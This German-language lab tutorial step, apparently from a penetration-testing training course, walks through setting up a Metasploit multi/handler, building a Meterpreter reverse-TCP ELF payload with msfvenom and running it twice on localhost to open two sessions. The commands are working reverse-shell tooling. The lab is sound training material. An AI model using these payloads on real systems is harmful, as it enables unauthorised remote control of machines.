Mehrere Meterpreter- oder Shell-Sessions erlangen
In diesem Schritt richten Sie einen Listener in Metasploit ein und führen dann eine Payload aus, um zwei separate Meterpreter-Sessions zu erstellen. Dies simuliert den Zugriff auf zwei verschiedene Systeme.
Öffnen Sie zunächst ein Terminal und starten Sie die Metasploit Framework-Konsole. Das Flag -q sorgt dafür, dass sie leise startet, ohne das Banner anzuzeigen.
msfconsole -q
Als Nächstes konfigurieren wir einen generischen Listener namens multi/handler, der auf eingehende Verbindungen wartet.
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Führen Sie nun den Listener als Hintergrundjob mit dem Flag -j aus. Dadurch bleibt die msfconsole-Eingabeaufforderung für andere Befehle verfügbar, während der Listener im Hintergrund läuft.
run -j
Sie sollten eine Bestätigung sehen, dass der Handler gestartet wurde.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Nun müssen Sie die Payload generieren und ausführen, die sich mit diesem Listener verbindet. Öffnen Sie einen neuen, zweiten Terminal-Tab, indem Sie auf das +-Symbol im Terminalfenster klicken.
Verwenden Sie in diesem neuen Terminal msfvenom, um eine Payload zu erstellen. Dieser Befehl generiert eine ELF-ausführbare Datei, die sich beim Ausführen mit unserem Listener verbindet.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
Machen Sie die generierte Payload-Datei ausführbar:
chmod +x ~/project/payload.elf
Führen Sie nun die Payload zweimal aus, um zwei Sessions zu erstellen. Wir führen sie als Hintergrundprozesse (&) aus, damit Sie den Befehl sofort erneut ausführen können.
./payload.elf &
./payload.elf &
Wechseln Sie zurück zu Ihrem ersten Terminalfenster mit msfconsole. Sie sehen Meldungen, die darauf hinweisen, dass zwei Meterpreter-Sessions geöffnet wurden.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
Sie haben nun erfolgreich zwei aktive Sessions aufgebaut.